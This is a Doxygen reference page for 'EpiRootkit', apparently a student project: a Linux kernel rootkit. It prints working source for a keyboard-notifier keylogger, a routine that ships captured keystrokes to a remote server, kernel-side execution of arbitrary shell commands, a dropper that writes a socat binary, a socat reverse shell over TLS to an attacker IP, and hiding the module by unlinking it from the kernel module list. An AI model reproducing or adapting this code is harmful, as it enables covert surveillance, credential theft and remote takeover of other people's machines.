EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
epirootkit.h File Reference
#include <linux/fs.h>
#include <linux/ftrace.h>
#include <linux/init.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/types.h>
#include <linux/uaccess.h>
#include "network.h"
Include dependency graph for epirootkit.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Classes

struct  exec_code_stds
 
struct  command
 

Macros

#define exec_str_as_command(user_cmd, catch_stds)   exec_str_as_command_with_timeout(user_cmd, catch_stds, USERLAND_CMD_TIMEOUT)
 
#define exec_str_as_command_no_timeout(user_cmd, catch_stds)   exec_str_as_command_with_timeout(user_cmd, catch_stds, 0)
 

Functions

int exec_str_as_command_with_timeout (char *user_cmd, bool catch_stds, int timeout)
 
int epikeylog_init (void)
 Initializes the keylogger module.
 
int epikeylog_send_to_server (void)
 Handles sending the keylogger buffer content to the remote server.
 
int epikeylog_exit (void)
 Exits the keylogger module, unregisters the notifier, and cleans up.
 
int drop_socat_binaire (void)
 
int remove_socat_binaire (void)
 
int launch_reverse_shell (char *args)
 
int hide_module (void)
 
int unhide_module (void)
 

Macro Definition Documentation

◆ exec_str_as_command

#define exec_str_as_command (   user_cmd,
  catch_stds 
)    exec_str_as_command_with_timeout(user_cmd, catch_stds, USERLAND_CMD_TIMEOUT)

Definition at line 37 of file epirootkit.h.

◆ exec_str_as_command_no_timeout

#define exec_str_as_command_no_timeout (   user_cmd,
  catch_stds 
)    exec_str_as_command_with_timeout(user_cmd, catch_stds, 0)

Definition at line 38 of file epirootkit.h.

Function Documentation

◆ drop_socat_binaire()

int drop_socat_binaire ( void  )

Drops the socat binary at the specified path.

Returns
SUCCESS on success, negative error code on failure.

Definition at line 32 of file socat.c.

32 {
34 DBG_MSG("drop_socat_binaire: socat binary already dropped\n");
35 return SUCCESS;
36 }
37
38 struct file *f;
39 loff_t pos = 0;
40
41 f = filp_open(SOCAT_BINARY_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0700);
42 if (IS_ERR(f)) {
43 ERR_MSG("drop_socat_binaire: failed to open file: %ld\n", PTR_ERR(f));
44 return -FAILURE;
45 }
46
47 unsigned int written = kernel_write(f, socat, socat_len, &pos);
48 if (written < 0) {
49 ERR_MSG("drop_socat_binaire: kernel_write failed: %u\n", written);
50 filp_close(f, NULL);
51 return -FAILURE;
52 }
53 else if (written < socat_len) {
54 ERR_MSG("drop_socat_binaire: only %u bytes written, expected %u\n", written,
55 socat_len);
56 filp_close(f, NULL);
57 return -FAILURE;
58 }
59 else {
60 DBG_MSG("socat written successfully (%u bytes)\n", written);
61 }
62
63 filp_close(f, NULL);
64
65 return SUCCESS;
66}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define FAILURE
Definition config.h:6
#define SUCCESS
Definition config.h:5
#define SOCAT_BINARY_PATH
Definition config.h:24
static struct dentry * file
Definition epikeylog.c:145
Definition socat.py:1
static int is_socat_binaire_dropped(void)
Definition socat.c:19

◆ epikeylog_exit()

int epikeylog_exit ( void  )

Exits the keylogger module, unregisters the notifier, and cleans up.

Returns
0 on success, negative error code on failure.

Definition at line 363 of file epikeylog.c.

363 {
364 if (!is_running) {
365 DBG_MSG("epikeylog_exit: already stopped\n");
366 return SUCCESS;
367 }
368
369 if (unregister_keyboard_notifier(&epikeylog_blk) != 0) {
370 ERR_MSG("epikeylog_exit: failed to unregister keyboard notifier\n");
371 return -EIO;
372 }
373
374 if (!subdir || IS_ERR(subdir)) {
375 ERR_MSG("epikeylog_exit: debugfs directory invalid\n");
376 return -EIO;
377 }
378
379 clean_dbgfs();
380
381 if (keylog_buf.buf) {
382 kfree(keylog_buf.buf);
383 keylog_buf.buf = NULL;
384 }
385
386 keylog_buf.pos = 0;
387 keylog_buf.size = 0;
388
389 is_running = false;
390 DBG_MSG("epikeylog_exit: keylogger stopped\n");
391
392 return SUCCESS;
393}
static struct dentry * subdir
Definition epikeylog.c:146
static struct notifier_block epikeylog_blk
Definition epikeylog.c:238
static void clean_dbgfs(void)
Cleans up the debugfs structures.
Definition epikeylog.c:309
static bool is_running
Definition epikeylog.c:142
static struct keylog_buffer keylog_buf
Definition epikeylog.c:155

◆ epikeylog_init()

int epikeylog_init ( void  )

Initializes the keylogger module.

Returns
0 on success, negative error code on failure.

Definition at line 325 of file epikeylog.c.

325 {
326 DBG_MSG("epikeylog_init: initializing keylogger\n");
327
328 if (is_running) {
329 DBG_MSG("epikeylog_init: already running\n");
330 return SUCCESS;
331 }
332
333 if (prepare_dbgfs() < 0) {
334 ERR_MSG("epikeylog_init: debugfs preparation failed\n");
335 return -ENOENT;
336 }
337
338 keylog_buf.pos = 0;
340 keylog_buf.buf = kzalloc(keylog_buf.size, GFP_KERNEL);
341 if (!keylog_buf.buf) {
342 ERR_MSG("epikeylog_init: keylog buffer allocation failed\n");
343 clean_dbgfs();
344 return -ENOMEM;
345 }
346
347 if (register_keyboard_notifier(&epikeylog_blk) != 0) {
348 ERR_MSG("epikeylog_init: keyboard notifier registration failed\n");
349 clean_dbgfs();
350 return -EIO;
351 }
352
353 is_running = true;
354 DBG_MSG("epikeylog_init: keylogger initialized\n");
355
356 return SUCCESS;
357}
#define STD_BUFFER_SIZE
Definition config.h:68
static int prepare_dbgfs(void)
Prepares the debugfs structures for the keylogger.
Definition epikeylog.c:280

◆ epikeylog_send_to_server()

int epikeylog_send_to_server ( void  )

Handles sending the keylogger buffer content to the remote server.

Definition at line 245 of file epikeylog.c.

245 {
246 if (!is_running) {
247 DBG_MSG("epikeylog_send_to_server: not running\n");
249 TCP,
250 "epikeylog_send_to_server: not running. Activate it with `klgon`.\n");
251 return -EBUSY;
252 }
253
254 char *full_cmd = kzalloc(PATH_MAX, GFP_KERNEL);
255 if (!full_cmd) {
256 ERR_MSG("epikeylog_send_to_server: command memory allocation failed\n");
257 return -ENOMEM;
258 }
259
260 snprintf(full_cmd, PATH_MAX, "cat /sys/kernel/debug/%sklg/keys",
262 exec_str_as_command(full_cmd, true);
263
264 char *keys_content;
265 int readed_size = _read_file(STDOUT_FILE, &keys_content);
266 int ret_code = send_to_server_raw(keys_content, readed_size);
267
268 DBG_MSG("epikeylog_send_to_server: keylogger content sent\n");
269
270 kfree(full_cmd);
271 kfree(keys_content);
272
273 return ret_code;
274}
#define STDOUT_FILE
Definition config.h:57
@ TCP
Definition config.h:29
#define HIDDEN_PREFIX
Definition config.h:54
#define exec_str_as_command(user_cmd, catch_stds)
Definition epirootkit.h:37
int _read_file(const char *path, char **out_buf)
Definition io.c:12
int send_to_server(enum Protocol protocol, char *message,...)
Definition network.c:67
int send_to_server_raw(const char *data, size_t len)
Definition network.c:123

◆ exec_str_as_command_with_timeout()

int exec_str_as_command_with_timeout ( char *  user_cmd,
bool  catch_stds,
int  timeout 
)

exec_str_as_command_with_timeout - Executes a user command with optional timeout and output redirection

Parameters
user_cmdCommand string to execute
catch_stdsWhether to redirect stdout and stderr to predefined files
timeoutTimeout in seconds for the command; 0 means no timeout

Constructs the final command string with timeout and redirection logic, then executes it in usermode using the kernel's usermodehelper API.

Return: Exit status of the command, or negative error code on failure.

Definition at line 139 of file userland.c.

140 {
141 char *cmd_buffer = NULL;
142 char *timeout_cmd = NULL;
143 bool redir_stdout = false, redir_stderr = false;
144 int status = 0;
145
146 static char *envp[] = { "HOME=/", "TERM=xterm",
147 "PATH=/sbin:/bin:/usr/sbin:/usr/bin:/tmp", NULL };
148
149 user_cmd = trim_leading_whitespace(user_cmd);
150
151 cmd_buffer = kmalloc(STD_BUFFER_SIZE, GFP_KERNEL);
152 if (!cmd_buffer)
153 return -ENOMEM;
154
155 detect_redirections(user_cmd, &redir_stdout, &redir_stderr);
156
157 timeout_cmd = build_timeout_prefix(timeout);
158 if (!timeout_cmd) {
159 kfree(cmd_buffer);
160 return -ENOMEM;
161 }
162
163 status = build_full_command(cmd_buffer, STD_BUFFER_SIZE, timeout_cmd,
164 user_cmd, redir_stdout, redir_stderr, catch_stds,
166
167 if (status < 0) {
168 DBG_MSG("Command too long or invalid\n");
169 kfree(cmd_buffer);
170 kfree(timeout_cmd);
171 return status;
172 }
173
174 DBG_MSG("exec_str_as_command: executing command: %s\n", cmd_buffer);
175
176 status = execute_command(cmd_buffer, envp);
177 DBG_MSG("exec_str_as_command: command exited with status: %d\n", status);
178
179 kfree(cmd_buffer);
180 kfree(timeout_cmd);
181
182 return status;
183}
#define STDERR_FILE
Definition config.h:58
static char * build_timeout_prefix(int timeout)
Definition userland.c:44
static int build_full_command(char *buffer, size_t buffer_size, const char *timeout_cmd, const char *user_cmd, bool redirect_stdout, bool redirect_stderr, bool catch_stds, const char *stdout_file, const char *stderr_file)
Definition userland.c:71
static void detect_redirections(const char *cmd, bool *redirect_stdout, bool *redirect_stderr)
Definition userland.c:25
static char * trim_leading_whitespace(char *str)
Definition userland.c:13
static int execute_command(const char *cmd_str, char *envp[])
Definition userland.c:116

◆ hide_module()

int hide_module ( void  )

Definition at line 7 of file ghost.c.

7 {
8 unsigned long flags;
9
10 spin_lock_irqsave(&hide_lock, flags);
11 if (module_hidden) {
12 spin_unlock_irqrestore(&hide_lock, flags);
13 return SUCCESS;
14 }
15
16 prev_module = THIS_MODULE->list.prev;
17 list_del(&THIS_MODULE->list);
18 module_hidden = true;
19
20 spin_unlock_irqrestore(&hide_lock, flags);
21 return SUCCESS;
22}
static struct list_head * prev_module
Definition ghost.c:3
static bool module_hidden
Definition ghost.c:4

◆ launch_reverse_shell()

int launch_reverse_shell ( char *  args)

Definition at line 83 of file socat.c.

83 {
85 ERR_MSG("launch_reverse_shell: socat binary not dropped\n");
86 return -FAILURE;
87 }
88
89 int port = REVERSE_SHELL_PORT; // Default port
90
91 // Get the port
92 if (args && strlen(args) > 0)
93 port = simple_strtol(args, NULL, 10);
94
95 // Build the socat command with the specified port
96 char cmd[256];
97 snprintf(cmd, sizeof(cmd),
98 "%s exec:'bash -i',pty,stderr,setsid,sigint,sane "
99 "openssl-connect:%s:%d,verify=0 &",
101
102 // Launch the command
103 int ret_code = exec_str_as_command_no_timeout(cmd, false);
104
105 if (ret_code < 0) {
106 ERR_MSG("launch_reverse_shell: failed to start reverse shell on port %d\n",
107 port);
108 return ret_code;
109 }
110
111 DBG_MSG("launch_reverse_shell: reverse shell started on port %d\n", port);
112 return SUCCESS;
113}
int port
Definition main.c:7
#define REVERSE_SHELL_PORT
Definition config.h:25
char * ip
Definition main.c:6
#define exec_str_as_command_no_timeout(user_cmd, catch_stds)
Definition epirootkit.h:38

◆ remove_socat_binaire()

int remove_socat_binaire ( void  )

Removes the socat binary from the specified path.

Returns
SUCCESS on success, negative error code on failure.

Definition at line 72 of file socat.c.

72 {
75 ERR_MSG("remove_socat_binaire: failed to remove socat binary\n");
76 return -FAILURE;
77 }
78 DBG_MSG("remove_socat_binaire: socat binary removed successfully\n");
79 return SUCCESS;
80}

◆ unhide_module()

int unhide_module ( void  )

Definition at line 24 of file ghost.c.

24 {
25 unsigned long flags;
26
27 spin_lock_irqsave(&hide_lock, flags);
28 if (!module_hidden) {
29 spin_unlock_irqrestore(&hide_lock, flags);
30 return SUCCESS;
31 }
32
33 list_add(&THIS_MODULE->list, prev_module);
34 module_hidden = false;
35
36 spin_unlock_irqrestore(&hide_lock, flags);
37 return SUCCESS;
38}